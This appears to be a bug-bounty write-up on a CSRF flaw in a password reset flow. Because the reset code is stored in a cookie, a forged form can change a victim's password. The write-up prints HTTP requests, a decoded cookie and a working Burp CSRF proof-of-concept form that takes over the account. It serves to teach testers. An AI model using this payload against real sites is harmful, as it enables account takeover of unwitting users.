CSRF on Password Reset Link leading to account takeover.

Have you ever thought of testing for CSRF vulnerability on a password reset link? You might not have, because we generally believe that it is not possible, as the password reset link itself contains a reset token which acts as an alternative for a CSRF token.

I, too, once shared this assumption, but recently I encountered a CSRF vulnerability on a password reset link on a popular site. Since the vulnerability is still not patched, let's refer to it as https://target.com.

Generally, the password reset link works in 2 different ways:

• The password reset link is itself https://example.com/reset-password/secretToken & upon changing the password, a POST request will be sent along with the token that is reflected in the URL.

Code 128 Bytes

1POST /reset-password?secretToken=tokenHTTP/2 2Host: account.example.com 3 4password=spandanpokh&password_confirm=spandanpokh

• The password reset link https://example.com/reset-password/secretToken redirects 302 to https://account.example.com/reset-password?redirect=https%3A%2F%2Faccount.example.com%2Freset-password%2Fsteps&mode=reset-password & then it allows us to change our password. Here also token will be sent in an HTTP request.

Code 216 Bytes

1POST /reset-password?redirect=https%3A%2F%2Faccount.example.com%2Freset-password%2Fsteps&mode=reset-password HTTP/2 2Host: account.example.com 3 4secretToken=token&password=%40Helloworld1&password_confirm=%40Helloworld1

Since it is a password reset link, a reset token will definitely be present in the HTTP request and we think that it is impossible to perform CSRF. Well, in my case it was a bit different.

In my case as well, the reset link https://target.com/reset-password/79xldx5d0h1gxwxfgw75oobhiff34tmibh9fut9roj5ht was returning 302 and redirecting to https://account.target.com/reset-password?redirect=https%3A%2F%2Faccount.target.com%2Freset-password%2Fsteps&mode=reset-password

However, upon changing the password, I noticed that the reset token was neither reflected on the URL nor on the body of the HTTP request.

Code 583 Bytes

1POST /reset-password?redirect=https%3A%2F%2Faccount.target.com%2Freset-password%2Fsteps&mode=reset-password HTTP/2 2Host: account.target.com 3Cookie: 4 5password=%40Helloworld1&password_confirm=%40Helloworld1

Since there was no reset token on the HTTP request, I was thinking how is the server validating the request then? In that HTTP request, there were a lot of encoded cookies, and I immediately started decoding all those cookies.

Notice the redirect_url parameter on cookies.

Decoding the value:

• aHR0cHM6Ly9hY2NvdW50LnRhcmdldC5jb20vYXV0aG9yaXplLz9yZXNwb25zZV90eXBlPWNvZGUmYWN0aW9uPXJlc2V0X3Bhc3N3b3JkJmNsaWVudF9pZD1ib3gmc2NvcGU9d2ViJnJlc2V0X2NvZGU9bW56djgwcGV5cHIwcHR2ZWloMnR4cnBpbGpvZTJ6dmhxeHNscTh2OWU0dTIzJmJyb3dzZXJfcGluPVRNVVlOVzlQSVdLVDlQSzRTMFgzMFlUV0c0TE9GOUZXVEk3MFZHUzhSNk9XR0ZEM1hRJnJlZGlyZWN0X3VyaT1odHRwcyUzQSUyRiUyRnRhcmdldC5jb20mZmluaXNoPTE%3D
• aHR0cHM6Ly9hY2NvdW50LnRhcmdldC5jb20vYXV0aG9yaXplLz9yZXNwb25zZV90eXBlPWNvZGUmYWN0aW9uPXJlc2V0X3Bhc3N3b3JkJmNsaWVudF9pZD1ib3gmc2NvcGU9d2ViJnJlc2V0X2NvZGU9bW56djgwcGV5cHIwcHR2ZWloMnR4cnBpbGpvZTJ6dmhxeHNscTh2OWU0dTIzJmJyb3dzZXJfcGluPVRNVVlOVzlQSVdLVDlQSzRTMFgzMFlUV0c0TE9GOUZXVEk3MFZHUzhSNk9XR0ZEM1hRJnJlZGlyZWN0X3VyaT1odHRwcyUzQSUyRiUyRnRhcmdldC5jb20mZmluaXNoPTE=
• https://account.target.com/authorize/?response_type=code&action=reset_password&client_id=box&scope=web&reset_code=mnzv80peypr0ptveih2txrpiljoe2zvhqxslq8v9e4u23&browser_pin=TMUYNW9PIWKT9PK4S0X30YTWG4LOF9FWTI70VGS8R6OWGFD3XQ&redirect_uri=https%3A%2F%2Ftarget.com&finish=1

In other words, reset_code is actually being stored on redirect_url cookie & reset token is being reflected on the HTTP request under the cookie redirect_url. 

Now, here an attacker can easily take over the victim's account by performing a CSRF attack.

• The attacker goes to https://account.target.com/reset-password-request and attacker enters the victim's email.
• The victim notices that reset link and the victim opens the link.
• Once the victim opens the link, then the reset_code will be stored on their cookie.

Note that victim only opens the link, and ignores it. In other word, victim do not change his/her password.

•  The attacker performs a CSRF attack using this HTML code:

Code 528 Bytes

1<html> 2 <!-- CSRF PoC - generated by Burp Suite Professional --> 3 <body> 4 <script>history.pushState('', '', '/')</script> 5 <form action="https://account.target.com/reset-password?redirect=https%3A%2F%2Faccount.target.com%2Freset-password%2Fsteps&mode=reset-password" method="POST"> 6 <input type="hidden" name="password" value="YouAreHacked" /> 7 <input type="hidden" name="password&#95;confirm" value="YouAreHacked" /> 8 <input type="submit" value="Submit request" /> 9 </form> 10 </body> 11</html>

• Once the victim clicks on that password reset link, the reset_code will be saved on their cookies redirect_url. When the victim clicks on that CSRF HTML POC:

Code 253 Bytes

1POST /reset-password?redirect=https%3A%2F%2Faccount.target.com%2Freset-password%2Fsteps&mode=reset-password HTTP/2 2Host: account.target.com 3Cookie: **redirect_url, which contains the reset_code.** 4 5password=YouAreHacked&password_confirm=YouAreHacked

• The victim's password gets changed via a CSRF attack.

Therefore, yes, a CSRF attack is sometimes possible on the password reset link as well. Make sure that you check the password reset functionality & understand how it is functioning so that you can find some juicy vulnerabilities.